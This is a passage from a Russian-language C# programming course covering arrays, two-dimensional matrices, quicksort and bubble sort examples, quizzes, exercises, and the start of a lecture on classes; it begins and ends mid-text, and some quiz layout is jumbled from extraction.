for (int i = 0; i < size; i++)
{
Console.Write(a[i]);
Console.Write(' ');
}
Console.ReadLine();
}
}
}
Контрольные вопросы:
1. Что такое массив?
2. Как определить массив?
3. Как проинициализировать массив?
4. Какие виды массивов вы знаете?
5. Что такое динамический массив?
6. Какие массивы называют статичными?
7. Отличия статичных массивов от динамических
8. Какие правила применяются для именования массива?
9. Как объявить динамический массив?
10.Как объявить статичный массив?
ТЕСТЫ:
1.
A)
Задан массив int arrayА[10]; Этот массив состоит из ……..
элементов?
11
B)
12
C)
10
D)
9
2.
A)
Укажите правильное объявление массива!
int anarray[10];
B)
int anarray;
C)
array an array[10];
D)
anarray{10};
3.
В какой из следующих строк выполняется обращение к
седьмому элементу массива, если размер массива равен 10?
A)
Mas[7];
B)
Mas[6];
C)
mas(1);
D)
mas(7);
4.
A)
Укажите строку, которая возвращает адрес первого элемента
в массиве arr?
arr[1];
B)
arr;
C)
arr[0];
D)
&arr;
5.
A)
A)
Массив - это ...
Массив - это упорядоченные в памяти элементы одного и того же
типа, имеющие имя. Доступ к отдельным элементам массива
осуществляется по имени массива и адресу
Массив - это упорядоченные в памяти элементы одного и того же
типа, имеющие общий адрес. Доступ к отдельным элементам
массива осуществляется по адресу и индексу
Массив - это упорядоченные в памяти элементы одного и того же
типа, имеющие имя. Доступ к отдельным элементам массива
осуществляется по имени массива и индексу
Массив - это упорядоченные в памяти элементы одного и того же
типа, имеющие имя. Доступ к отдельным элементам массива
осуществляется по функции main
Задан следующий массив:
int [] b;
этот массив является …………?
Динамическим массивом
B)
Статичным массивом
C)
Двумерным массивом
D)
Многомерным массивом
7.
A)
Какой из следующих массивов является динамическим
массивов?
int [] b;
B)
int[,] a;
C)
int [,] ArrayB = new int [10];
D)
Все ответы правильны
B)
C)
D)
6.
8.
A)
Какие из следуюших значений массива будут использованы?
int с[3] = {1, 2, 3, 4, 5};
1,2,3
B)
3,4,5
C)
4,5,3
D)
2,3,4,5
9.
A)
Какое значение будет у элемента b[4] если задано следующее:
int b[5] = {1, 2, 3};
5
B)
4
C)
0
D)
1
10.
A)
Задан массив: int [] a = new int [3]; Из скольких элементов
состоит данный массив?
1
B)
3
C)
4
D)
255
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1.
Дан одномерный массив, состоящий из N целочисленных
элементов.
1.1. Ввести массив с клавиатуры.
1.2. Найти максимальный элемент.
1.3. Вычислить среднеарифметическое элементов массива.
1.4. Вывести массив на экран в обратном порядке.
2.
Дан одномерный массив, состоящий из N целочисленных
элементов.
2.1. Заполнить массив случайными числами.
2.2. Найти минимальный элемент.
2.3. Вычислить сумму элементов массива.
2.4. Вывести положительные элементы на экран.
3.
Дан одномерный массив, состоящий из N вещественных
элементов.
3.1. Ввести массив с клавиатуры.
3.2. Найти максимальный элемент.
3.3. Вычислить
среднеарифметическое
положительных
элементов массива.
3.4. Вывести отрицательные элементы на экран в обратном
порядке.
4.
Дан одномерный массив, состоящий из N вещественных
элементов.
4.1. Заполнить массив случайными числами.
4.2. Найти минимальный положительный элемент.
4.3. Вычислить произведение не нулевых элементов массива.
4.4. Вывести ненулевые элементы на экран в обратном порядке.
5.
Дан одномерный массив, состоящий из N целочисленных
элементов.
5.1. Ввести массив с клавиатуры.
5.2. Найти максимальный отрицательный элемент.
5.3. Вычислить сумму отрицательных элементов массива.
5.4. Вывести положительные элементы на экран.
6.
Дан одномерный массив, состоящий из N целочисленных
элементов.
6.1. Заполнить массив случайными числами.
6.2. Найти максимальный положительный элемент.
6.3. Вычислить сумму элементов массива.
6.4. Вывести ненулевые элементы на экран в обратном порядке.
7.
Дан одномерный массив, состоящий из N вещественных
элементов.
7.1. Ввести массив с клавиатуры.
7.2. Найти максимальный элемент.
7.3. Вычислить
среднеарифметическое
отрицательных
элементов массива.
7.4. Вывести массив на экран в обратном порядке.
8.
Дан одномерный массив, состоящий из N вещественных
элементов.
8.1. Заполнить массив случайными числами.
8.2. Найти минимальный элемент.
8.3. Вычислить произведение не нулевых элементов массива.
8.4. Вывести положительные элементы на экран в обратном
порядке.
9.
Дан одномерный массив, состоящий из N целочисленных
элементов.
9.1. Ввести массив с клавиатуры.
9.2. Найти минимальный положительный элемент.
9.3. Вычислить сумму положительных элементов массива,
кратных 3.
9.4. Вывести не нулевые элементы на экран.
10. Дан одномерный массив, состоящий из N целочисленных
элементов.
10.1.Заполнить массив случайными числами.
10.2.Найти максимальный положительный элемент.
10.3.Вычислить произведение элементов массива.
10.4.Вывести положительные элементы на экран.
11. Дан одномерный массив, состоящий из N вещественных
элементов.
11.1.Ввести массив с клавиатуры.
11.2.Найти максимальный элемент.
11.3.Вычислить сумму четных элементов массива.
11.4.Вывести отрицательные элементы на экран в обратном
порядке.
12. Дан одномерный массив, состоящий из N вещественных
элементов.
12.1.Заполнить массив случайными числами.
12.2.Найти минимальный отрицательный элемент.
12.3.Вычислить
среднеарифметическое
положительных
элементов массива.
12.4.Вывести положительные элементы на экран.
13. Дан одномерный массив, состоящий из N целочисленных
элементов.
13.1.Ввести массив с клавиатуры.
13.2.Найти максимальный отрицательный элемент.
13.3.Вычислить
произведение
отрицательных
элементов
массива.
13.4.Вывести ненулевые элементы на экран в обратном порядке.
14. Дан одномерный массив, состоящий из N целочисленных
элементов.
14.1.Заполнить массив случайными числами.
14.2.Найти максимальный элемент.
14.3.Вычислить среднеарифметическое нечетных элементов
массива.
14.4.Вывести отрицательные элементы на экран.
15. Дан одномерный массив, состоящий из N вещественных
элементов.
15.1.Ввести массив с клавиатуры.
15.2.Найти минимальный положительный элемент.
15.3.Вычислить сумму четных элементов массива.
15.4.Вывести массив на экран в обратном порядке.
16. Дан одномерный массив, состоящий из N вещественных
элементов.
16.1.Заполнить массив случайными числами.
16.2.Найти минимальный отрицательный элемент.
16.3.Вычислить произведение ненулевых элементов массива,
кратных 3.
16.4.Вывести отрицательные элементы на экран в обратном
порядке.
17. Дан одномерный массив, состоящий из N целочисленных
элементов.
17.1.Ввести массив с клавиатуры.
17.2.Найти максимальный отрицательный элемент.
17.3.Вычислить среднеарифметическое четных элементов
массива.
17.4.Вывести ненулевые элементы на экран в обратном порядке.
18. Дан одномерный массив, состоящий из N целочисленных
элементов.
18.1.Заполнить массив случайными числами.
18.2.Найти минимальный элемент.
18.3.Вычислить сумму положительных нечетных элементов
массива.
18.4.Вывести положительные элементы на экран.
19. Дан одномерный массив, состоящий из N вещественных
элементов.
19.1.Ввести массив с клавиатуры.
19.2.Найти минимальный положительный элемент.
19.3.Вычислить произведение нечетных элементов массива.
19.4.Вывести отрицательные элементы на экран.
20. Дан одномерный массив, состоящий из N вещественных
элементов.
20.1.Заполнить массив случайными числами.
20.2.Найти максимальный элемент.
20.3.Вычислить
среднеарифметическое
отрицательных
элементов массива.
20.4.Вывести положительные элементы на экран в обратном
порядке.
21. Дан одномерный массив, состоящий из N целочисленных
элементов.
21.1.Ввести массив с клавиатуры.
21.2.Найти максимальный положительный элемент.
21.3.Вычислить сумму положительных четных элементов
массива.
21.4.Вывести отрицательные элементы на экран в обратном
порядке.
22. Дан одномерный массив, состоящий из N целочисленных
элементов.
22.1.Заполнить массив случайными числами.
22.2.Найти минимальный элемент.
22.3.Вычислить произведение ненулевых нечетных элементов
массива.
22.4.Вывести массив на экран в обратном порядке.
23. Дан одномерный массив, состоящий из N вещественных
элементов.
23.1.Ввести массив с клавиатуры.
23.2.Найти минимальный положительный элемент.
23.3.Вычислить
среднеарифметическое
положительных
элементов массива.
23.4.Вывести ненулевые элементы на экран в обратном порядке.
24. Дан одномерный массив, состоящий из N вещественных
элементов.
24.1.Заполнить массив случайными числами.
24.2.Найти максимальный отрицательный элемент.
24.3.Вычислить среднеарифметическое нечетных элементов
массива.
24.4.Вывести отрицательные элементы на экран.
25. Дан одномерный массив, состоящий из N целочисленных
элементов.
25.1.Ввести массив с клавиатуры.
25.2.Найти минимальный отрицательный элемент.
25.3.Вычислить сумму несчетных отрицательных элементов
массива.
25.4.Вывести положительные элементы на экран.
Модуль 10.
Тема лекции: Двумерные массивы
1. Двумерный массив
2. Создание двумерного массива в С#
1. Двумерный массив
В программировании чаще всего применяются одномерные
массивы, хотя и многомерные не так уж и редки. Многомерным
называется такой массив, который отличается двумя или более
измерениями, причем доступ к каждому элементу такого массива
осуществляется с помощью определенной комбинации двух или
более индексов.
Простейшей формой многомерного массива является двумерный
массив. Местоположение любого элемента в двумерном массиве
обозначается двумя индексами. Такой массив можно представить в
виде таблицы, на строки которой указывает один индекс, а на столбцы
— другой.
В следующей строке кода объявляется двумерный массив integer
размерами 10x20.
int[,] table = new int[10, 20];
Обратите особое внимание на объявление этого массива. Как
видите, оба его размера разделяются запятой. В первой части этого
объявления синтаксическое обозначение [,] означает, что создается
переменная ссылки на двумерный массив. Если же память
распределяется для массива с помощью оператора new, то
используется следующее синтаксическое обозначение.
int[10, 20]
В данном объявлении создается массив размерами 10x20, но и в
этом случае его размеры разделяются запятой. Для доступа к
элементу двумерного массива следует указать оба индекса, разделив
их запятой. Например, в следующей строке кода элементу массива
table с координатами местоположения C,5) присваивается значение
10.
table[3, 5] = 10;
2. Создание двумерного массива в С#
Ниже приведен более наглядный пример в виде небольшой
программы, в которой двумерный массив сначала заполняется
числами от 1 до 12, а затем выводится его содержимое.
// Продемонстрировать двумерный массив.
private void button1_Click(object sender, EventArgs e)
{ string s="";
int t, i;
int[,] table = new int[3, 4];
for (t = 0; t < 3; ++t)
{
for (i = 0; i < 4; ++i)
{
table[t, i] = (t * 4) + i + 1;
s = table[t, i].ToString() + " ";
}
s = s + Convert.ToChar(13);
}
MessageBox.Show(s);}
В данном примере элемент массива table [ 0, 0 ] будет иметь
значение 1, элемент массива table [ 0,1 ] — значение 2, элемент массива
table [ 0, 2 ] — значение 3 и т.д.
А значение элемента массива table [2,3] окажется равным 12. На
рисунке показано схематически расположение элементов этого
массива и их значений.
Тема семинара: Алгоритмы обработки двумерных массивов
Примеры алгоритмов обработки матрицами.
ПРИМЕР 1.1. Найти сумму элементов матрицы, лежащих выше
главной диагонали (рис 1.3).
Рис. 1.3. Рисунок к условию задачи из примера 1.1
Алгоритм решения данной задачи (рис. 1.4) построен следующим
образом: обнуляется ячейка для накапливания суммы (переменная S).
Затем с помощью двух циклов (первый по строкам, второй по
столбцам) просматривается каждый элемент матрицы, но
суммирование происходит только в том случае если, этот элемент
находится выше главной диагонали, то есть выполняется свойство i < j.
На рисунке 1.5 изображен еще один вариант решения данной
задачи. В нем проверка условия i<j не выполняется, но, тем не менее, в
нем так же суммируются элементы матрицы, находящиеся выше
главной диагонали. Для того чтобы понять, как работает этот
алгоритм, вернемся к рисунку 1.3. В первой строке заданной матрицы
необходимо сложить все элементы, начиная со второго. Во второй все, начиная с третьего, в i-й строке процесс начнется с (i+1)-го
элемента и так далее. Таким образом, первый цикл работает от 1 до N,
а второй от i+1 до M. Предлагаем читателю самостоятельно составить
программу, соответствующую описанному алгоритму.
Рис. 1.4. Блок-схема примера 1.1 (алгоритмРис. 1.5. Блок-схема примера 1.1 (алгоритм
1)
2)
ПРИМЕР 1.2. Вычислить количество положительных элементов
квадратной матрицы, расположенных по ее периметру и на
диагоналях. Напомним, что в квадратной матрице число строк равно
числу столбцов.
Прежде чем преступить к решению задачи рассмотрим рисунок
1.6, на котором изображена схема квадратных матриц различной
размерности. Из условия задачи понятно, что не нужно рассматривать
все элементы заданной матрицы. Достаточно просмотреть первую и
последнюю строки, первый и последний столбцы, а так же диагонали.
Все эти элементы отмечены на схеме, причем черным цветом
выделены элементы, обращение к которым может произойти дважды.
Например, элемент с номером (1,1) принадлежит как к первой строке,
так и к первому столбцу, а элемент с номером (N,N) находится в
последней строке и последнем столбце одновременно. Кроме того,
если N - число нечетное (на рисунке 1.6 эта матрица расположена
слева), то существует элемент с номером (N/2+1, N/2+1), который
находится на пересечении главной и побочной диагоналей. При
нечетном значении N (матрица справа на рис. 4.6) диагонали не
пересекаются.
Рис. 1.6. Рисунок к условию задачи из примера 1.2
Итак, разобрав подробно постановку задачи, рассмотрим
алгоритм ее решения. Для обращения к элементам главной диагонали
вспомним, что номера строк этих элементов всегда равны номерам
столбцов. Поэтому, если параметр i изменяется циклически от 1 до N,
то Ai,i - элемент главной диагонали. Воспользовавшись свойством,
характерным для элементов побочной диагонали получим: i+j-1 = n > j
= n-i+1, следовательно, для i=1,2,…,n элемент Аi,n-i+1 - элемент
побочной диагонали. Элементы, находящиеся по периметру матрицы
записываются следующим образом:А1,i - первая строка, АN,i последняя строка и соответственно Аi,1 - первый столбец, Аi,N последний столбец.
Блок-схема описанного алгоритма изображена на рис. 1.7. В блоке
1 организуется цикл для обращения к диагональным элементам
матрицы. Причем в блоках 2-3 подсчитывается количество
положительных элементов на главной диагонали, а в блоках 5-6 на
побочной. Цикл в блоке 6 задает изменение параметра i от 2 до N-1.
Это необходимо для того, чтобы не обращать к элементам, которые
уже были рассмотрены: A11, A1N, AN,1 иAN,N. Блоки 7-8 подсчитывают
положительные элементы в первой строке, 9 и 10 - в последней строке,
11 и 12 - в первом столбце, а 13 и 14 в последнем. Блок 15 проверяет, не
был ли элемент, находящийся на пересечении диагоналей, подсчитан
дважды. Напомним, что это могло произойти только в том случае,
если N - нечетное число и этот элемент был положительным. Эти
условия и проверяются в блоке 16, который уменьшает вычисленное
количество положительных элементов на единицу.
Рис. 1.7. Блок-схема к примеру 1.2
ПРИМЕР 4.3. Проверить, является ли заданная квадратная
матрица единичной. Единичной называют матрицу, у которой
элементы главной диагонали - единицы, а все остальные - нули.
Решать
задачу
будем
так.
Предположим,
что
матрица
единичная (FL=ИСТИНА) и попытаемся доказать обратное. Если
окажется, что хотя бы один диагональный элемент не равен единице
или любой из элементов вне диагонали не равен нулю, то матрица
единичной не является (FL=ЛОЖЬ). Воспользовавшись логическими
операциями все эти условия можно соединить в одно и составить
блок-схему (рис. 4.8).
Рис. 4.8. Блок-схема к примеру 4.3
ПРИМЕР 4.4. Преобразовать исходную матрицу так, чтобы первый
элемент каждой строки был заменен средним арифметическим
элементов этой строки.
Для решения данной задачи необходимо найти в каждой строке
сумму элементов, которую разделить на их количество. Полученный
результат записать в первый элемент соответствующей строки. Блоксхема алгоритма решения приведена на рис. 4.9.
ПРИМЕР 4.5. Задана матрица An, m. Сформировать вектор Pm, в
который записать номера строк максимальных элементов каждого
столбца.
Алгоритм решения этой задачи следующий: для каждого столбца
матрицы находим максимальный элемент и его номер, номер
максимального элемента j-го столбца матрицы записываем в j-й
элемент массива P. Блок-схема алгоритма приведена на рис. 4.10.
Рис. 4.9. Блок-схема алгоритма примера 4.4 Рис. 4.10. Блок-схема алгоритма примера 4.5
ПРИМЕР
4.6. Написать
матриц An,m и Bm,l.
программу
умножения
двух
Например, необходимо перемножить две матрицы
Воспользовавшись правилом "строка на столбец", получим матрицу:
В общем виде формула для нахождения элемента Ci,j матрицы имеет
вид:
где i = 1,N и j = 1,L.
Обратите внимание, что проводить операцию умножения можно
только в том случае, если количество строк левой матрицы совпадает с
количеством столбцов правой. Кроме того, A >< B ≠ B >< A.
Блок-схема, изображенная на рис. 4.11, реализует расчет каждого
элемента матрицы C в виде суммы по вышеприведенной формуле.
ПРИМЕР 4.7. Поменять местами n-й и l-й столбцы матрицы A(k,m).
Блок-схема приведена на рис. 4.12.
Рис. 4.11. Алгоритм умножения двух матриц Рис. 4.12. Блок-схема алгоритма примера 4.7
ПРИМЕР 4.8. Преобразовать матрицу A(m,n) таким образом, чтобы
каждый столбец был упорядочен по убыванию. Алгоритм решения
этой задачи сводится к тому, что уже известный нам по предыдущей
главе алгоритм упорядочивания элементов в массиве выполняется для
каждого столбца матрицы. Блок-схема приведена на рис. 4.13.
ПРИМЕР 4.9. Преобразовать матрицу A(m,n) так, чтобы строки с
нечетными индексами были упорядочены по убыванию, c четными по возрастанию. Блок-схема приведена на рис. 4.14.
Рис 4.13.
примера 4.8
Блок-схема
алгоритма
Рис. 4.14. Блок-схема алгоритма примера 4.9
Тема лаб: Анализ программы
Пример 1.
Дан двумерный квадратный массив:
а) заполнить массив случайными числами
б) вычислить сумму диагонали массива
private void button1_Click(object sender, EventArgs e)
{
int n = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите количество элементов массива "));
int[,] mas = new int[n,n];
Random r = new Random();
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
mas[i,j] = r.Next(100);
}
}
int summ = 0;
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
if (i == j)
summ += mas[i, j];
}
}
MessageBox.Show("Сумма элементов массива = " +
summ.ToString());
}
Пример 2.
Дан двумерный массив A(N,M):
а) заполнить массив случайными числами
б) вывести не нулевые элементы
* в) вычислить сумму четных элементов
private void button1_Click(object sender, EventArgs e)
{
int n = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите количество элементов массива "));
int m = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите количество элементов массива "));
int[,] mas = new int[n,m];
Random r = new Random();
for (int i = 0; i < n; i++)
{
for (int j = 0; j < m; j++)
{
mas[i,j] = r.Next(100);
}
}
string txt = "";
for (int i = 0; i < n; i++)
{
for (int j = 0; j <m; j++)
{
if (mas[i, j] != 0)
txt += mas[i, j].ToString() + " ";
}
}
int summ=0;
for (int i = 0; i < n; i++)
{
for (int j = 0; j < m; j++)
{
if(mas[i,j]%2==0)
summ+=mas[i,j];
}
}
MessageBox.Show("Не нулевые элементы массива - "+txt);
MessageBox.Show("Сумма четных элементов массива " +
summ.ToString());
}
Тема СРСП – 1.Сортировка методом Хоара
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Сортировка_метод_ХОАР
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
int sum;
string txt = "";
private void button1_Click(object sender, EventArgs e)
{
int n;
n=Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox("Введите
количество элементов массива"));
int [] ms = new int[n];
for(int i=0;i <= n-1; i++)
{
ms[i]=Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox("Введит
е " + i + "- ый элемент массива"));
txt +=ms[i].ToString()+" ";
}
MessageBox.Show("До " + txt); //Печать исходный массив
txt = "";
sum=n;
hoar( ref ms, 0, n);
}
public void hoar(ref int[] ms, int l, int r) // Сортировка методом
Хоара
{
int i, j, k;
int sr = ms[(l + r) / 2]; // срединный элемент
i = l; j = r - 1;
// начальные значения границ массива
do
{
while (ms[i] < sr) i++; // ищем слева элемент больше среднего
while (ms[j] > sr) j--; // ищем справа элемент меньше среднего
if (i <= j) // если левая граница не прошла за правую
{
k = ms[i]; ms[i] = ms[j]; ms[j] = k; // перестановка элементов
i++; j--; // переходим к следующим элементам
}
} while (i <= j); // пока границы не совпали
// массив разбит на два подмножества
if (i < r) // если есть что-нибудь справа
hoar(ref ms, i, r); // сортируем правый подмассив
if (j > l) // если есть что-нибудь слева
hoar(ref ms, l, j); // сортируем левый подмассив
if (l == 0 && r == sum) // Если все элементы массива упорядочены
print(ref ms); // то вызиваем функцию вывода массива
}
void print(ref int[] ms) // Исипользуется для вывода массива
{
for (int i = 0; i < sum; i++)
txt += ms[i].ToString()+" ";
MessageBox.Show("После " + txt);
}
}
}
Тема СРСП – 2 – 3. Сортировка двумерного массива методом
пузырька
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
namespace пузырь
{
class Program
{
static void Main(string[] args)
{
int N = 4;
System.Diagnostics.Stopwatch sw = new
System.Diagnostics.Stopwatch();
sw.Start();
int[,] a = new int[N,N];
int[,] b = new int[N,N];
Random rnd = new Random();
for (int i = 0; i < N; i++)
{
for (int j = 0; j < N; j++)
{
a[i, j] = rnd.Next(0, 100);
b[i, j] = a[i, j];
Console.Write("{0} ", a[i,j]);
Console.WriteLine("");
Console.WriteLine("");
}
}
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("Потрачено");
Console.WriteLine(sw.Elapsed.ToString());
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Сортировка ПУЗЫРЕМ");
Console.ForegroundColor = ConsoleColor.Magenta;
for (int l = 0; l < N; l++)
{
for (int i = 0; i < N; i++)
{
for (int j = 0; j < (N - 1); j++)
{
if (b[l,j] > b[l,j + 1])
{
int tmp = b[l,j];
b[l,j] = b[l,j + 1];
b[l,j + 1] = tmp;
}
}
}
}
for (int i = 0; i < N; i++)
{
for (int j = 0; j < N; j++)
{
Console.Write("{0} ", b[i, j]);
}
Console.WriteLine();
}
Console.WriteLine();
Console.ReadLine();
}
}
}
Контрольные вопросы:
1. Что такое двумерный массив?
2. Как объявляются двумерные массивы?
3. Чем отличается одномерный массив от двумерного?
4. Какие массивы можно сортировать?
5. Какие методы сортировки вы знаете?
6. Чем отличаются методы сортировки?
7. Как присвоить значение элементу двумерного массива?
ТЕСТЫ:
1.
A)
B)
C)
D)
2.
A)
B)
C)
D)
3.
A)
B)
C)
Какой из объявления массива является неправильным?
int [,] a = new int [2, 2];
a = new int[n,m];
a = new int[n];
Все варианты неправильны
Объявлен массив int [,] a = new int [2, 2];
Из скольких элементов состоит данный массив?
11
10
9
255
Какой массив может менять количество своих элементов во
время выполнения программы?
Динамический
Статичный
Двумерный
D) Одномерный
4. При работе с какими массивами используется следующий
оператор: a = new int[n,m];?
A) Динамический
B) Статичный
C) Двумерный
D) Одномерный
5. Можно ли во время инициализации массива написать
каждую строку массива в отдельной строчке?
A) Нет
B) Да
C) Да если тип массива целочисленный
D) Нет если тип массива целочисленный
6. В многомерных массивах для перехода в следующий
элемент какой индекс надо изменить?
A) первый
B) последний
C) средний
D) все
7. Как задается измерение массива?
A) указанием каждого измерения без скобок
B) указанием каждого измерения в квадратных скобках
C) указанием каждого измерения в обычных скобках
D) указанием каждого измерения в системных скобках
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1.
Дан двумерный массив размерностью 46, заполненный
целыми числами с клавиатуры. Сформировать одномерный массив,
каждый
элемент
которого
равен
количеству
элементов
соответствующей строки, больших данного числа.
2.
Дан двумерный массив размерностью 65, заполненный
целыми числами с клавиатуры. Сформировать одномерный массив,
каждый элемент которого равен первому четному элементу
соответствующего столбца, если такого нет, то равен нулю.
3.
Дана матрица размером 54. Поменять местами первую
строку и строчку, в которой находится первый нулевой элемент.
4.
Найти сумму двух матриц размером nm.
Дан двумерный массив размером nm, заполненный
случайными числами. Определить, есть ли в данном массиве столбец,
в котором равное количество положительных и отрицательных
элементов.
6.
Дана матрица А размерностью nm. Сформировать
одномерный массив В, элементами которого являются номера первых
отрицательных элементов каждой строки массива А. (0 –
отрицательный элемент отсутствует).
7.
Дан двумерный массив размерностью 56, заполненный
целыми числами с клавиатуры. Сформировать одномерный массив,
каждый элемент которого равен наибольшему по модулю элементу
соответствующего столбца.
8.
Найти среднее арифметическое элементов каждой строки
матрицы Q(l,m) и вычесть его из элементов этой строки.
9.
Дан двумерный массив размером nm, заполненный
случайными числами. Определить, есть ли в данном массиве строка,
содержащая больше положительных элементов, чем отрицательных.
10.
Дана матрица K(n,m). Сформировать одномерный массив
L(m), элементами которого являются суммы элементов j-ого столбца.
11.
Матрица K(m,m) состоит из нулей и единиц. Найти в ней
номера строк и столбцов, не содержащих единицы, либо сообщить,
что таких нет.
12.
Целочисленный массив K(n,n) заполнить нулями и
единицами, расположив их в шахматном порядке.
13.
Дана матрица А(n,m). Сформировать одномерный массив
В(n), элементами которого являются суммы элементов i-ой строки.
14.
Дан двумерный массив размерностью 56, заполненный
целыми числами с клавиатуры. Сформировать одномерный массив,
каждый элемент которого равен произведению четных положительных элементов соответствующего столбца.
15.
Дан двумерный массив размером 8х7, заполненный
случайным образом. Заменить все элементы первых трех столбцов на
их квадраты, в остальных столбцах изменить знак каждого элемента на
противоположный.
16.
Дана матрица размером 8х7, заполненная случайным
образом. Поменять местами две средние строки с первой и последней.
5.
Дан двумерный массив размером 5х6, заполненный
случайным образом. Заменить максимальный элемент каждой строки
на противоположный по знаку.
18.
Определить, есть ли в данном массиве строка, состоящая
только из отрицательных элементов.
19.
Дана матрица размером 4х5, заполненная случайным
образом. Поменять местами первый и последний столбцы.
20.
Дан двумерный массив размерностью 45, заполненный
целыми числами с клавиатуры. Сформировать одномерный массив,
каждый элемент которого равен количеству отрицательных
элементов, кратных 3 или 5, соответствующей строки.
21.
В каждой строке, заполненной случайным образом,
матрицы размером nm поменять местами первый элемент и
максимальный по модулю.
22.
Дан двумерный массив размером 6х7, заполненный
случайным образом. Поменять местами средние строки.
23.
Дан двумерный массив размером nm, заполненный
случайным образом. Определить, есть ли в данном массиве строка, в
которой ровно два отрицательных элемента.
24.
В матрице Z(m,m) каждый элемент разделить на
диагональный, стоящий в том же столбце.
Определить, есть ли в данном массиве столбец, состоящий
только из положительных или нулевых элементов.
17.
Модуль 11.
Тема лекции: Классы и методы в C#
Класс представляет собой шаблон, по которому определяется
форма объекта. В нем указываются данные и код, который будет
оперировать этими данными. В С# используется спецификация класса
для построения объектов, которые являются экземплярами класса.
Следовательно, класс, по существу, представляет собой ряд
схематических описаний способа построения объекта. При этом
очень важно подчеркнуть, что класс является логической абстракцией.
Физическое представление класса появится в оперативной
памяти лишь после того, как будет создан объект этого класса.
Общая форма определения класса
При определении класса объявляются данные, которые он
содержит, а также код, оперирующий этими данными. Если самые
простые классы могут содержать только код или только данные, то
большинство настоящих классов содержит и то и другое.
Вообще говоря, данные содержатся в членах данных,
определяемых классом, а код — в функциях-членах. Следует сразу же
подчеркнуть, что в С# предусмотрено несколько разновидностей
членов данных и функций-членов. Например, к членам данных,
называемым также полями, относятся переменные экземпляра и
статические переменные, а к функциям-членам — методы,
конструкторы, деструкторы, индексаторы, события, операторы и
свойства. Ограничимся пока что рассмотрением самых основных
компонентов класса: переменных экземпляра и методов. А далее в
этой главе будут представлены конструкторы и деструкторы. Об
остальных разновидностях членов класса речь пойдет в последующих
главах.
Класс создается с помощью ключевого слова class. Ниже
приведена общая форма определения простого класса, содержащая
только переменные экземпляра и методы.
class ммя_класса {
// Объявление переменных экземпляра.
доступ тип переменная!;
доступ тип переменная2;
//...
доступ тип переменная N;
// Объявление методов.
доступ возращаемый_тип метод1 (параметры) {
// тело метода
}
доступ возращаемый_тип метод2 (параметры). {
// тело метода
}
//...
доступ возращаемый_тип методn (параметры) {
// тело метода
}
}
Обратите внимание на то, что перед каждым объявлением
переменной и метода указывается доступ. Это спецификатор доступа,
например public, определяющий порядок доступа к данному члену
класса. Как упоминалось в главе 2, члены класса могут быть как
закрытыми (private) в пределах класса, так открытыми (public),.T.e.
более доступными. Спецификатор доступа определяет тип
разрешенного доступа.
Указывать спецификатор доступа не
обязательно, но если он отсутствует, то объявляемый член считается
закрытым в пределах класса. Члены с закрытым доступом могут
использоваться только другими членами их класса. В примерах
программ, приведенных в этой главе, все члены, за исключением
метода Main (), обозначаются как открытые (public). Это означает, что
их можно использовать во всех остальных фрагментах кода — даже в
тех, что определены за пределами класса.
Несмотря на отсутствие соответствующего правила в синтаксисе
С#, правильно сконструированный класс должен определять одну и
только одну логическую сущность. Например, класс, в котором
хранятся Ф.И.О. и номера телефонов, обычно не содержит сведения о
фондовом рынке, среднем уровне осадков, циклах солнечных пятен
или другую информацию, не связанную с перечисляемыми
фамилиями. Таким образом, в правильно сконструированном классе
должна быть сгруппирована логически связанная информация. Если
же в один и тот же класс помещается логически несвязанная
информация, то структурированность кода быстро нарушается.
Классы, использовавшиеся в приведенных ранее примерах
программ, содержали только один метод: Main (). Но в
представленной выше общей форме определения класса метод Main ()
не указывается. Этот метод требуется указывать в классе лишь в том
случае, если программа начинается с данного класса.
Тема семинара: Определение класса
Для того чтобы продемонстрировать классы на конкретных
примерах, разработаем постепенно класс, инкапсулирующий
информацию о зданиях, в том числе о домах, складских помещениях,
учреждениях и т.д. В этом классе (назовем его Building) будут
храниться три элемента информации о зданиях: количество этажей,
общая площадь и количество жильцов.
Ниже приведен первый вариант класса Building. В нем
определены три переменные экземпляра: Floors, Area и Occupants.
Как видите, в классе Building вообще отсутствуют методы. Это
означает, что в настоящий момент этот класс состоит только из
данных. (Впоследствии в него будут также введены методы.)
class Building {
public int Floors; // количество этажей
public int Area; // общая площадь здания
public int Occupants; // количество жильцов
}
Переменные экземпляра, определенные в классе Building,
демонстрируют общий порядок объявления переменных экземпляра.
Ниже приведена общая форма для объявления переменных
экземпляра:
доступ тип имя_переменной;
где доступ обозначает вид доступа; тип — конкретный тип
переменной, а имя_переменной — имя, присваиваемое переменной.
Следовательно, за исключением спецификатора доступа, переменная
экземпляра объявляется таким же образом, как и локальная
переменная. Все переменные объявлены в классе Building с
предваряющим их модификатором доступа public. Как пояснялось
выше, благодаря этому они становятся доступными за пределами
класса Building.
Определение class обозначает создание нового типа данных. В
данном случае новый тип данных называется Building. С помощью
этого имени могут быть объявлены объекты типа Building. He следует,
однако, забывать, что объявление class лишь описывает тип, но не
создает конкретный объект. Следовательно, в приведенном выше
фрагменте кода объекты типа Building не создаются.
Для того чтобы создать конкретный объект типа Building,
придется воспользоваться следующим оператором.
Building house = new Building(); // создать объект типа Building
После выполнения этого оператора объект house станет
экземпляром класса Building, т.е. обретет "физическую" реальность.
Не обращайте пока что внимание на отдельные составляющие
данного оператора. Всякий раз, когда получается экземпляр класса,
создается также объект, содержащий собственную копию каждой
переменной экземпляра, определенной в данном классе. Таким
образом, каждый объект типа Building будет содержать свои копии
переменных экземпляра Floors, Area и Occupants. Для доступа к этим
переменным служит оператор доступа к члену класса, который
принято называть оператором- точкой. Оператор-точка связывает имя
